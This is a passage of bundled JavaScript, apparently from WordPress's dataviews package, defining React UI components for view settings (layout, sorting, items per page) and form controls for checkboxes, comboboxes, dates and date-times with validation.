13573 label: (0, import_i18n37.__)("Layout")
13574 }
13575 )
13576 }
13577 ),
13578 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(Menu5.Popover, { children: availableLayouts.map((layout) => {
13579 const config = VIEW_LAYOUTS.find(
13580 (v2) => v2.type === layout
13581 );
13582 if (!config) {
13583 return null;
13584 }
13585 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13586 Menu5.RadioItem,
13587 {
13588 value: layout,
13589 name: "view-actions-available-view",
13590 checked: layout === view.type,
13591 hideOnClick: true,
13592 onChange: (e2) => {
13593 switch (e2.target.value) {
13594 case "list":
13595 case "grid":
13596 case "table":
13597 case "pickerGrid":
13598 case "pickerTable":
13599 case "activity":
13600 const viewWithoutLayout = { ...view };
13601 if ("layout" in viewWithoutLayout) {
13602 delete viewWithoutLayout.layout;
13603 }
13604 return onChangeView({
13605 ...viewWithoutLayout,
13606 type: e2.target.value,
13607 ...defaultLayouts[e2.target.value]
13608 });
13609 }
13610 (0, import_warning.default)("Invalid dataview");
13611 },
13612 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(Menu5.ItemLabel, { children: config.label })
13613 },
13614 layout
13615 );
13616 }) })
13617 ] });
13618 }
13619 function SortFieldControl() {
13620 const { view, fields, onChangeView } = (0, import_element37.useContext)(dataviews_context_default);
13621 const orderOptions = (0, import_element37.useMemo)(() => {
13622 const sortableFields = fields.filter(
13623 (field) => field.enableSorting !== false
13624 );
13625 return sortableFields.map((field) => {
13626 return {
13627 label: field.label,
13628 value: field.id
13629 };
13630 });
13631 }, [fields]);
13632 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13633 import_components28.SelectControl,
13634 {
13635 __next40pxDefaultSize: true,
13636 label: (0, import_i18n37.__)("Sort by"),
13637 value: view.sort?.field,
13638 options: orderOptions,
13639 onChange: (value) => {
13640 onChangeView({
13641 ...view,
13642 sort: {
13643 direction: view?.sort?.direction || "desc",
13644 field: value
13645 },
13646 showLevels: false
13647 });
13648 }
13649 }
13650 );
13651 }
13652 function SortDirectionControl() {
13653 const { view, fields, onChangeView } = (0, import_element37.useContext)(dataviews_context_default);
13654 const sortableFields = fields.filter(
13655 (field) => field.enableSorting !== false
13656 );
13657 if (sortableFields.length === 0) {
13658 return null;
13659 }
13660 let value = view.sort?.direction;
13661 if (!value && view.sort?.field) {
13662 value = "desc";
13663 }
13664 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13665 import_components28.__experimentalToggleGroupControl,
13666 {
13667 className: "dataviews-view-config__sort-direction",
13668 __next40pxDefaultSize: true,
13669 isBlock: true,
13670 label: (0, import_i18n37.__)("Order"),
13671 value,
13672 onChange: (newDirection) => {
13673 if (newDirection === "asc" || newDirection === "desc") {
13674 onChangeView({
13675 ...view,
13676 sort: {
13677 direction: newDirection,
13678 field: view.sort?.field || // If there is no field assigned as the sorting field assign the first sortable field.
13679 fields.find(
13680 (field) => field.enableSorting !== false
13681 )?.id || ""
13682 },
13683 showLevels: false
13684 });
13685 return;
13686 }
13687 (0, import_warning.default)("Invalid direction");
13688 },
13689 children: SORTING_DIRECTIONS.map((direction) => {
13690 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13691 import_components28.__experimentalToggleGroupControlOptionIcon,
13692 {
13693 value: direction,
13694 icon: sortIcons[direction],
13695 label: sortLabels[direction]
13696 },
13697 direction
13698 );
13699 })
13700 }
13701 );
13702 }
13703 function ItemsPerPageControl() {
13704 const { view, config, onChangeView } = (0, import_element37.useContext)(dataviews_context_default);
13705 const { infiniteScrollEnabled } = view;
13706 if (!config || !config.perPageSizes || config.perPageSizes.length < 2 || config.perPageSizes.length > 6 || infiniteScrollEnabled) {
13707 return null;
13708 }
13709 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13710 import_components28.__experimentalToggleGroupControl,
13711 {
13712 __next40pxDefaultSize: true,
13713 isBlock: true,
13714 label: (0, import_i18n37.__)("Items per page"),
13715 value: view.perPage || 10,
13716 disabled: !view?.sort?.field,
13717 onChange: (newItemsPerPage) => {
13718 const newItemsPerPageNumber = typeof newItemsPerPage === "number" || newItemsPerPage === void 0 ? newItemsPerPage : parseInt(newItemsPerPage, 10);
13719 onChangeView({
13720 ...view,
13721 perPage: newItemsPerPageNumber,
13722 page: 1
13723 });
13724 },
13725 children: config.perPageSizes.map((value) => {
13726 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13727 import_components28.__experimentalToggleGroupControlOption,
13728 {
13729 value,
13730 label: value.toString()
13731 },
13732 value
13733 );
13734 })
13735 }
13736 );
13737 }
13738 function ResetViewButton() {
13739 const { onReset } = (0, import_element37.useContext)(dataviews_context_default);
13740 if (onReset === void 0) {
13741 return null;
13742 }
13743 const isDisabled = onReset === false;
13744 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13745 import_components28.Button,
13746 {
13747 variant: "tertiary",
13748 size: "compact",
13749 disabled: isDisabled,
13750 accessibleWhenDisabled: true,
13751 className: "dataviews-view-config__reset-button",
13752 onClick: () => {
13753 if (typeof onReset === "function") {
13754 onReset();
13755 }
13756 },
13757 children: (0, import_i18n37.__)("Reset view")
13758 }
13759 );
13760 }
13761 function DataviewsViewConfigDropdown() {
13762 const { view, onReset } = (0, import_element37.useContext)(dataviews_context_default);
13763 const popoverId = (0, import_compose11.useInstanceId)(
13764 _DataViewsViewConfig,
13765 "dataviews-view-config-dropdown"
13766 );
13767 const activeLayout = VIEW_LAYOUTS.find(
13768 (layout) => layout.type === view.type
13769 );
13770 const isModified = typeof onReset === "function";
13771 return /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13772 import_components28.Dropdown,
13773 {
13774 expandOnMobile: true,
13775 popoverProps: {
13776 ...DATAVIEWS_CONFIG_POPOVER_PROPS,
13777 id: popoverId
13778 },
13779 renderToggle: ({ onToggle, isOpen }) => {
13780 return /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)("div", { className: "dataviews-view-config__toggle-wrapper", children: [
13781 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13782 import_components28.Button,
13783 {
13784 size: "compact",
13785 icon: cog_default,
13786 label: (0, import_i18n37._x)(
13787 "View options",
13788 "View is used as a noun"
13789 ),
13790 onClick: onToggle,
13791 "aria-expanded": isOpen ? "true" : "false",
13792 "aria-controls": popoverId
13793 }
13794 ),
13795 isModified && /* @__PURE__ */ (0, import_jsx_runtime72.jsx)("span", { className: "dataviews-view-config__modified-indicator" })
13796 ] });
13797 },
13798 renderContent: () => /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13799 import_components28.__experimentalDropdownContentWrapper,
13800 {
13801 paddingSize: "medium",
13802 className: "dataviews-config__popover-content-wrapper",
13803 children: /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(
13804 Stack,
13805 {
13806 direction: "column",
13807 className: "dataviews-view-config",
13808 gap: "xl",
13809 children: [
13810 /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(
13811 Stack,
13812 {
13813 direction: "row",
13814 justify: "space-between",
13815 align: "center",
13816 className: "dataviews-view-config__header",
13817 children: [
13818 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13819 import_components28.__experimentalHeading,
13820 {
13821 level: 2,
13822 className: "dataviews-settings-section__title",
13823 children: (0, import_i18n37.__)("Appearance")
13824 }
13825 ),
13826 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(ResetViewButton, {})
13827 ]
13828 }
13829 ),
13830 /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(Stack, { direction: "column", gap: "lg", children: [
13831 /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(
13832 Stack,
13833 {
13834 direction: "row",
13835 gap: "sm",
13836 className: "dataviews-view-config__sort-controls",
13837 children: [
13838 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(SortFieldControl, {}),
13839 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(SortDirectionControl, {})
13840 ]
13841 }
13842 ),
13843 !!activeLayout?.viewConfigOptions && /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(activeLayout.viewConfigOptions, {}),
13844 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(InfiniteScrollToggle, {}),
13845 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(ItemsPerPageControl, {}),
13846 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(PropertiesSection, {})
13847 ] })
13848 ]
13849 }
13850 )
13851 }
13852 )
13853 }
13854 );
13855 }
13856 function _DataViewsViewConfig() {
13857 return /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(import_jsx_runtime72.Fragment, { children: [
13858 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(ViewTypeMenu, {}),
13859 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(DataviewsViewConfigDropdown, {})
13860 ] });
13861 }
13862 var DataViewsViewConfig = (0, import_element37.memo)(_DataViewsViewConfig);
13863 var dataviews_view_config_default = DataViewsViewConfig;
13864
13865 // packages/dataviews/build-module/components/dataform-controls/checkbox.mjs
13866 var import_components29 = __toESM(require_components(), 1);
13867 var import_element38 = __toESM(require_element(), 1);
13868
13869 // packages/dataviews/build-module/components/dataform-controls/utils/get-custom-validity.mjs
13870 function getCustomValidity(isValid2, validity) {
13871 let customValidity;
13872 if (isValid2?.required && validity?.required) {
13873 customValidity = validity?.required?.message ? validity.required : void 0;
13874 } else if (isValid2?.pattern && validity?.pattern) {
13875 customValidity = validity.pattern;
13876 } else if (isValid2?.min && validity?.min) {
13877 customValidity = validity.min;
13878 } else if (isValid2?.max && validity?.max) {
13879 customValidity = validity.max;
13880 } else if (isValid2?.minLength && validity?.minLength) {
13881 customValidity = validity.minLength;
13882 } else if (isValid2?.maxLength && validity?.maxLength) {
13883 customValidity = validity.maxLength;
13884 } else if (isValid2?.elements && validity?.elements) {
13885 customValidity = validity.elements;
13886 } else if (validity?.custom) {
13887 customValidity = validity.custom;
13888 }
13889 return customValidity;
13890 }
13891
13892 // packages/dataviews/build-module/components/dataform-controls/checkbox.mjs
13893 var import_jsx_runtime73 = __toESM(require_jsx_runtime(), 1);
13894 var { ValidatedCheckboxControl } = unlock(import_components29.privateApis);
13895 function Checkbox({
13896 field,
13897 onChange,
13898 data,
13899 hideLabelFromVision,
13900 markWhenOptional,
13901 validity
13902 }) {
13903 const { getValue, setValue, label, description, isValid: isValid2 } = field;
13904 const onChangeControl = (0, import_element38.useCallback)(() => {
13905 onChange(
13906 setValue({ item: data, value: !getValue({ item: data }) })
13907 );
13908 }, [data, getValue, onChange, setValue]);
13909 return /* @__PURE__ */ (0, import_jsx_runtime73.jsx)(
13910 ValidatedCheckboxControl,
13911 {
13912 required: !!field.isValid?.required,
13913 markWhenOptional,
13914 customValidity: getCustomValidity(isValid2, validity),
13915 hidden: hideLabelFromVision,
13916 label,
13917 help: description,
13918 checked: getValue({ item: data }),
13919 onChange: onChangeControl
13920 }
13921 );
13922 }
13923
13924 // packages/dataviews/build-module/components/dataform-controls/combobox.mjs
13925 var import_components30 = __toESM(require_components(), 1);
13926 var import_element39 = __toESM(require_element(), 1);
13927 var import_jsx_runtime74 = __toESM(require_jsx_runtime(), 1);
13928 var { ValidatedComboboxControl } = unlock(import_components30.privateApis);
13929 function Combobox3({
13930 data,
13931 field,
13932 onChange,
13933 hideLabelFromVision,
13934 validity
13935 }) {
13936 const { label, description, placeholder, getValue, setValue, isValid: isValid2 } = field;
13937 const value = getValue({ item: data }) ?? "";
13938 const onChangeControl = (0, import_element39.useCallback)(
13939 (newValue) => onChange(setValue({ item: data, value: newValue ?? "" })),
13940 [data, onChange, setValue]
13941 );
13942 const { elements, isLoading } = useElements({
13943 elements: field.elements,
13944 getElements: field.getElements
13945 });
13946 if (isLoading) {
13947 return /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(import_components30.Spinner, {});
13948 }
13949 return /* @__PURE__ */ (0, import_jsx_runtime74.jsx)(
13950 ValidatedComboboxControl,
13951 {
13952 required: !!field.isValid?.required,
13953 customValidity: getCustomValidity(isValid2, validity),
13954 label,
13955 value,
13956 help: description,
13957 placeholder,
13958 options: elements,
13959 onChange: onChangeControl,
13960 hideLabelFromVision,
13961 allowReset: true,
13962 expandOnFocus: true
13963 }
13964 );
13965 }
13966
13967 // packages/dataviews/build-module/components/dataform-controls/datetime.mjs
13968 var import_components32 = __toESM(require_components(), 1);
13969 var import_element41 = __toESM(require_element(), 1);
13970 var import_i18n39 = __toESM(require_i18n(), 1);
13971 var import_date3 = __toESM(require_date(), 1);
13972
13973 // packages/dataviews/build-module/components/dataform-controls/utils/relative-date-control.mjs
13974 var import_components31 = __toESM(require_components(), 1);
13975 var import_element40 = __toESM(require_element(), 1);
13976 var import_i18n38 = __toESM(require_i18n(), 1);
13977 var import_jsx_runtime75 = __toESM(require_jsx_runtime(), 1);
13978 var TIME_UNITS_OPTIONS = {
13979 [OPERATOR_IN_THE_PAST]: [
13980 { value: "days", label: (0, import_i18n38.__)("Days") },
13981 { value: "weeks", label: (0, import_i18n38.__)("Weeks") },
13982 { value: "months", label: (0, import_i18n38.__)("Months") },
13983 { value: "years", label: (0, import_i18n38.__)("Years") }
13984 ],
13985 [OPERATOR_OVER]: [
13986 { value: "days", label: (0, import_i18n38.__)("Days ago") },
13987 { value: "weeks", label: (0, import_i18n38.__)("Weeks ago") },
13988 { value: "months", label: (0, import_i18n38.__)("Months ago") },
13989 { value: "years", label: (0, import_i18n38.__)("Years ago") }
13990 ]
13991 };
13992 function RelativeDateControl({
13993 className,
13994 data,
13995 field,
13996 onChange,
13997 hideLabelFromVision,
13998 operator
13999 }) {
14000 const options = TIME_UNITS_OPTIONS[operator === OPERATOR_IN_THE_PAST ? "inThePast" : "over"];
14001 const { id, label, getValue, setValue } = field;
14002 const fieldValue = getValue({ item: data });
14003 const { value: relValue = "", unit = options[0].value } = fieldValue && typeof fieldValue === "object" ? fieldValue : {};
14004 const onChangeValue = (0, import_element40.useCallback)(
14005 (newValue) => onChange(
14006 setValue({
14007 item: data,
14008 value: { value: Number(newValue), unit }
14009 })
14010 ),
14011 [onChange, setValue, data, unit]
14012 );
14013 const onChangeUnit = (0, import_element40.useCallback)(
14014 (newUnit) => onChange(
14015 setValue({
14016 item: data,
14017 value: { value: relValue, unit: newUnit }
14018 })
14019 ),
14020 [onChange, setValue, data, relValue]
14021 );
14022 return /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(
14023 import_components31.BaseControl,
14024 {
14025 id,
14026 className: clsx_default(className, "dataviews-controls__relative-date"),
14027 label,
14028 hideLabelFromVision,
14029 children: /* @__PURE__ */ (0, import_jsx_runtime75.jsxs)(Stack, { direction: "row", gap: "sm", children: [
14030 /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(
14031 import_components31.__experimentalNumberControl,
14032 {
14033 __next40pxDefaultSize: true,
14034 className: "dataviews-controls__relative-date-number",
14035 spinControls: "none",
14036 min: 1,
14037 step: 1,
14038 value: relValue,
14039 onChange: onChangeValue
14040 }
14041 ),
14042 /* @__PURE__ */ (0, import_jsx_runtime75.jsx)(
14043 import_components31.SelectControl,
14044 {
14045 className: "dataviews-controls__relative-date-unit",
14046 __next40pxDefaultSize: true,
14047 label: (0, import_i18n38.__)("Unit"),
14048 value: unit,
14049 options,
14050 onChange: onChangeUnit,
14051 hideLabelFromVision: true
14052 }
14053 )
14054 ] })
14055 }
14056 );
14057 }
14058
14059 // packages/dataviews/build-module/field-types/utils/parse-date-time.mjs
14060 var import_date2 = __toESM(require_date(), 1);
14061 function parseDateTime(dateTimeString) {
14062 if (!dateTimeString) {
14063 return null;
14064 }
14065 const parsed = (0, import_date2.getDate)(dateTimeString);
14066 return parsed && isValid(parsed) ? parsed : null;
14067 }
14068
14069 // packages/dataviews/build-module/components/dataform-controls/datetime.mjs
14070 var import_jsx_runtime76 = __toESM(require_jsx_runtime(), 1);
14071 var { DateCalendar, ValidatedInputControl } = unlock(import_components32.privateApis);
14072 var formatDateTime = (value) => {
14073 if (!value) {
14074 return "";
14075 }
14076 return (0, import_date3.dateI18n)("Y-m-d\\TH:i", (0, import_date3.getDate)(value));
14077 };
14078 function CalendarDateTimeControl({
14079 data,
14080 field,
14081 onChange,
14082 hideLabelFromVision,
14083 markWhenOptional,
14084 validity
14085 }) {
14086 const { id, label, description, setValue, getValue, isValid: isValid2 } = field;
14087 const fieldValue = getValue({ item: data });
14088 const value = typeof fieldValue === "string" ? fieldValue : void 0;
14089 const [calendarMonth, setCalendarMonth] = (0, import_element41.useState)(() => {
14090 const parsedDate = parseDateTime(value);
14091 return parsedDate || /* @__PURE__ */ new Date();
14092 });
14093 const inputControlRef = (0, import_element41.useRef)(null);
14094 const validationTimeoutRef = (0, import_element41.useRef)(void 0);
14095 const previousFocusRef = (0, import_element41.useRef)(null);
14096 const onChangeCallback = (0, import_element41.useCallback)(
14097 (newValue) => onChange(setValue({ item: data, value: newValue })),
14098 [data, onChange, setValue]
14099 );
14100 (0, import_element41.useEffect)(() => {
14101 return () => {
14102 if (validationTimeoutRef.current) {
14103 clearTimeout(validationTimeoutRef.current);
14104 }
14105 };
14106 }, []);
14107 const onSelectDate = (0, import_element41.useCallback)(
14108 (newDate) => {
14109 let dateTimeValue;
14110 if (newDate) {
14111 const wpDate = (0, import_date3.dateI18n)("Y-m-d", newDate);
14112 let wpTime;
14113 if (value) {
14114 wpTime = (0, import_date3.dateI18n)("H:i", (0, import_date3.getDate)(value));
14115 } else {
14116 wpTime = (0, import_date3.dateI18n)("H:i", newDate);
14117 }
14118 const finalDateTime = (0, import_date3.getDate)(`${wpDate}T${wpTime}`);
14119 dateTimeValue = finalDateTime.toISOString();
14120 onChangeCallback(dateTimeValue);
14121 if (validationTimeoutRef.current) {
14122 clearTimeout(validationTimeoutRef.current);
14123 }
14124 } else {
14125 onChangeCallback(void 0);
14126 }
14127 previousFocusRef.current = inputControlRef.current && inputControlRef.current.ownerDocument.activeElement;
14128 validationTimeoutRef.current = setTimeout(() => {
14129 if (inputControlRef.current) {
14130 inputControlRef.current.focus();
14131 inputControlRef.current.blur();
14132 onChangeCallback(dateTimeValue);
14133 if (previousFocusRef.current && previousFocusRef.current instanceof HTMLElement) {
14134 previousFocusRef.current.focus();
14135 }
14136 }
14137 }, 0);
14138 },
14139 [onChangeCallback, value]
14140 );
14141 const handleManualDateTimeChange = (0, import_element41.useCallback)(
14142 (newValue) => {
14143 if (newValue) {
14144 const dateTime = (0, import_date3.getDate)(newValue);
14145 onChangeCallback(dateTime.toISOString());
14146 const parsedDate = parseDateTime(dateTime.toISOString());
14147 if (parsedDate) {
14148 setCalendarMonth(parsedDate);
14149 }
14150 } else {
14151 onChangeCallback(void 0);
14152 }
14153 },
14154 [onChangeCallback]
14155 );
14156 const { format: fieldFormat } = field;
14157 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date3.getSettings)().l10n.startOfWeek;
14158 const {
14159 timezone: { string: timezoneString }
14160 } = (0, import_date3.getSettings)();
14161 let displayLabel = label;
14162 if (isValid2?.required && !markWhenOptional && !hideLabelFromVision) {
14163 displayLabel = `${label} (${(0, import_i18n39.__)("Required")})`;
14164 } else if (!isValid2?.required && markWhenOptional && !hideLabelFromVision) {
14165 displayLabel = `${label} (${(0, import_i18n39.__)("Optional")})`;
14166 }
14167 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
14168 import_components32.BaseControl,
14169 {
14170 id,
14171 label: displayLabel,
14172 help: description,
14173 hideLabelFromVision,
14174 children: /* @__PURE__ */ (0, import_jsx_runtime76.jsxs)(Stack, { direction: "column", gap: "lg", children: [
14175 /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
14176 DateCalendar,
14177 {
14178 style: { width: "100%" },
14179 selected: value ? parseDateTime(value) || void 0 : void 0,
14180 onSelect: onSelectDate,
14181 month: calendarMonth,
14182 onMonthChange: setCalendarMonth,
14183 timeZone: timezoneString || void 0,
14184 weekStartsOn
14185 }
14186 ),
14187 /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
14188 ValidatedInputControl,
14189 {
14190 ref: inputControlRef,
14191 __next40pxDefaultSize: true,
14192 required: !!isValid2?.required,
14193 customValidity: getCustomValidity(isValid2, validity),
14194 type: "datetime-local",
14195 label: (0, import_i18n39.__)("Date time"),
14196 hideLabelFromVision: true,
14197 value: formatDateTime(value),
14198 onChange: handleManualDateTimeChange
14199 }
14200 )
14201 ] })
14202 }
14203 );
14204 }
14205 function DateTime({
14206 data,
14207 field,
14208 onChange,
14209 hideLabelFromVision,
14210 markWhenOptional,
14211 operator,
14212 validity
14213 }) {
14214 if (operator === OPERATOR_IN_THE_PAST || operator === OPERATOR_OVER) {
14215 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
14216 RelativeDateControl,
14217 {
14218 className: "dataviews-controls__datetime",
14219 data,
14220 field,
14221 onChange,
14222 hideLabelFromVision,
14223 operator
14224 }
14225 );
14226 }
14227 return /* @__PURE__ */ (0, import_jsx_runtime76.jsx)(
14228 CalendarDateTimeControl,
14229 {
14230 data,
14231 field,
14232 onChange,
14233 hideLabelFromVision,
14234 markWhenOptional,
14235 validity
14236 }
14237 );
14238 }
14239
14240 // packages/dataviews/build-module/components/dataform-controls/date.mjs
14241 var import_components33 = __toESM(require_components(), 1);
14242 var import_element42 = __toESM(require_element(), 1);
14243 var import_i18n40 = __toESM(require_i18n(), 1);
14244 var import_date4 = __toESM(require_date(), 1);
14245 var import_jsx_runtime77 = __toESM(require_jsx_runtime(), 1);
14246 var { DateCalendar: DateCalendar2, DateRangeCalendar } = unlock(import_components33.privateApis);
14247 var DATE_PRESETS = [
14248 {
14249 id: "today",
14250 label: (0, import_i18n40.__)("Today"),
14251 getValue: () => (0, import_date4.getDate)(null)
14252 },
14253 {
14254 id: "yesterday",
14255 label: (0, import_i18n40.__)("Yesterday"),
14256 getValue: () => {
14257 const today = (0, import_date4.getDate)(null);
14258 return subDays(today, 1);
14259 }
14260 },
14261 {
14262 id: "past-week",
14263 label: (0, import_i18n40.__)("Past week"),
14264 getValue: () => {
14265 const today = (0, import_date4.getDate)(null);
14266 return subDays(today, 7);
14267 }
14268 },
14269 {
14270 id: "past-month",
14271 label: (0, import_i18n40.__)("Past month"),
14272 getValue: () => {
14273 const today = (0, import_date4.getDate)(null);
14274 return subMonths(today, 1);
14275 }
14276 }
14277 ];
14278 var DATE_RANGE_PRESETS = [
14279 {
14280 id: "last-7-days",
14281 label: (0, import_i18n40.__)("Last 7 days"),
14282 getValue: () => {
14283 const today = (0, import_date4.getDate)(null);
14284 return [subDays(today, 7), today];
14285 }
14286 },
14287 {
14288 id: "last-30-days",
14289 label: (0, import_i18n40.__)("Last 30 days"),
14290 getValue: () => {
14291 const today = (0, import_date4.getDate)(null);
14292 return [subDays(today, 30), today];
14293 }
14294 },
14295 {
14296 id: "month-to-date",
14297 label: (0, import_i18n40.__)("Month to date"),
14298 getValue: () => {
14299 const today = (0, import_date4.getDate)(null);
14300 return [startOfMonth(today), today];
14301 }
14302 },
14303 {
14304 id: "last-year",
14305 label: (0, import_i18n40.__)("Last year"),
14306 getValue: () => {
14307 const today = (0, import_date4.getDate)(null);
14308 return [subYears(today, 1), today];
14309 }
14310 },
14311 {
14312 id: "year-to-date",
14313 label: (0, import_i18n40.__)("Year to date"),
14314 getValue: () => {
14315 const today = (0, import_date4.getDate)(null);
14316 return [startOfYear(today), today];
14317 }
14318 }
14319 ];
14320 var parseDate = (dateString) => {
14321 if (!dateString) {
14322 return null;
14323 }
14324 const parsed = (0, import_date4.getDate)(dateString);
14325 return parsed && isValid(parsed) ? parsed : null;
14326 };
14327 var formatDate = (date) => {
14328 if (!date) {
14329 return "";
14330 }
14331 return typeof date === "string" ? date : format(date, "yyyy-MM-dd");
14332 };
14333 function ValidatedDateControl({
14334 field,
14335 validity,
14336 inputRefs,
14337 isTouched,
14338 setIsTouched,
14339 children
14340 }) {
14341 const { isValid: isValid2 } = field;
14342 const [customValidity, setCustomValidity] = (0, import_element42.useState)(void 0);
14343 const validateRefs = (0, import_element42.useCallback)(() => {
14344 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
14345 for (const ref of refs) {
14346 const input = ref.current;
14347 if (input && !input.validity.valid) {
14348 setCustomValidity({
14349 type: "invalid",
14350 message: input.validationMessage
14351 });
14352 return;
14353 }
14354 }
14355 setCustomValidity(void 0);
14356 }, [inputRefs]);
14357 (0, import_element42.useEffect)(() => {
14358 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
14359 const result = validity ? getCustomValidity(isValid2, validity) : void 0;
14360 for (const ref of refs) {
14361 const input = ref.current;
14362 if (input) {
14363 input.setCustomValidity(
14364 result?.type === "invalid" && result.message ? result.message : ""
14365 );
14366 }
14367 }
14368 }, [inputRefs, isValid2, validity]);
14369 (0, import_element42.useEffect)(() => {
14370 const refs = Array.isArray(inputRefs) ? inputRefs : [inputRefs];
14371 const handleInvalid = (event) => {
14372 event.preventDefault();
14373 setIsTouched(true);
14374 };
14375 for (const ref of refs) {
14376 ref.current?.addEventListener("invalid", handleInvalid);
14377 }
14378 return () => {
14379 for (const ref of refs) {
14380 ref.current?.removeEventListener("invalid", handleInvalid);
14381 }
14382 };
14383 }, [inputRefs, setIsTouched]);
14384 (0, import_element42.useEffect)(() => {
14385 if (!isTouched) {
14386 return;
14387 }
14388 const result = validity ? getCustomValidity(isValid2, validity) : void 0;
14389 if (result) {
14390 setCustomValidity(result);
14391 } else {
14392 validateRefs();
14393 }
14394 }, [isTouched, isValid2, validity, validateRefs]);
14395 const onBlur = (event) => {
14396 if (isTouched) {
14397 return;
14398 }
14399 if (!event.relatedTarget || !event.currentTarget.contains(event.relatedTarget)) {
14400 setIsTouched(true);
14401 }
14402 };
14403 return /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)("div", { onBlur, children: [
14404 children,
14405 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)("div", { "aria-live": "polite", children: customValidity && /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(
14406 "p",
14407 {
14408 className: clsx_default(
14409 "components-validated-control__indicator",
14410 customValidity.type === "invalid" ? "is-invalid" : void 0
14411 ),
14412 children: [
14413 /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14414 import_components33.Icon,
14415 {
14416 className: "components-validated-control__indicator-icon",
14417 icon: error_default,
14418 size: 16,
14419 fill: "currentColor"
14420 }
14421 ),
14422 customValidity.message
14423 ]
14424 }
14425 ) })
14426 ] });
14427 }
14428 function CalendarDateControl({
14429 data,
14430 field,
14431 onChange,
14432 hideLabelFromVision,
14433 markWhenOptional,
14434 validity
14435 }) {
14436 const {
14437 id,
14438 label,
14439 setValue,
14440 getValue,
14441 isValid: isValid2,
14442 format: fieldFormat
14443 } = field;
14444 const [selectedPresetId, setSelectedPresetId] = (0, import_element42.useState)(
14445 null
14446 );
14447 const weekStartsOn = fieldFormat.weekStartsOn ?? (0, import_date4.getSettings)().l10n.startOfWeek;
14448 const fieldValue = getValue({ item: data });
14449 const value = typeof fieldValue === "string" ? fieldValue : void 0;
14450 const [calendarMonth, setCalendarMonth] = (0, import_element42.useState)(() => {
14451 const parsedDate = parseDate(value);
14452 return parsedDate || /* @__PURE__ */ new Date();
14453 });
14454 const [isTouched, setIsTouched] = (0, import_element42.useState)(false);
14455 const validityTargetRef = (0, import_element42.useRef)(null);
14456 const onChangeCallback = (0, import_element42.useCallback)(
14457 (newValue) => onChange(setValue({ item: data, value: newValue })),
14458 [data, onChange, setValue]
14459 );
14460 const onSelectDate = (0, import_element42.useCallback)(
14461 (newDate) => {
14462 const dateValue = newDate ? format(newDate, "yyyy-MM-dd") : void 0;
14463 onChangeCallback(dateValue);
14464 setSelectedPresetId(null);
14465 setIsTouched(true);
14466 },
14467 [onChangeCallback]
14468 );
14469 const handlePresetClick = (0, import_element42.useCallback)(
14470 (preset) => {
14471 const presetDate = preset.getValue();
14472 const dateValue = formatDate(presetDate);
14473 setCalendarMonth(presetDate);
14474 onChangeCallback(dateValue);
14475 setSelectedPresetId(preset.id);
14476 setIsTouched(true);
14477 },
14478 [onChangeCallback]
14479 );
14480 const handleManualDateChange = (0, import_element42.useCallback)(
14481 (newValue) => {
14482 onChangeCallback(newValue);
14483 if (newValue) {
14484 const parsedDate = parseDate(newValue);
14485 if (parsedDate) {
14486 setCalendarMonth(parsedDate);
14487 }
14488 }
14489 setSelectedPresetId(null);
14490 setIsTouched(true);
14491 },
14492 [onChangeCallback]
14493 );
14494 const {
14495 timezone: { string: timezoneString }
14496 } = (0, import_date4.getSettings)();
14497 let displayLabel = label;
14498 if (isValid2?.required && !markWhenOptional) {
14499 displayLabel = `${label} (${(0, import_i18n40.__)("Required")})`;
14500 } else if (!isValid2?.required && markWhenOptional) {
14501 displayLabel = `${label} (${(0, import_i18n40.__)("Optional")})`;
14502 }
14503 return /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14504 ValidatedDateControl,
14505 {
14506 field,
14507 validity,
14508 inputRefs: validityTargetRef,
14509 isTouched,
14510 setIsTouched,
14511 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsx)(
14512 import_components33.BaseControl,
14513 {
14514 id,
14515 className: "dataviews-controls__date",
14516 label: displayLabel,
14517 hideLabelFromVision,
14518 children: /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(Stack, { direction: "column", gap: "lg", children: [
14519 /* @__PURE__ */ (0, import_jsx_runtime77.jsxs)(
14520 Stack,
14521 {
14522 direction: "row",
14523 gap: "sm",
14524 wrap: "wrap",
14525 justify: "flex-start",
14526 children: [
14527 DATE_PRESETS.map((preset) => {
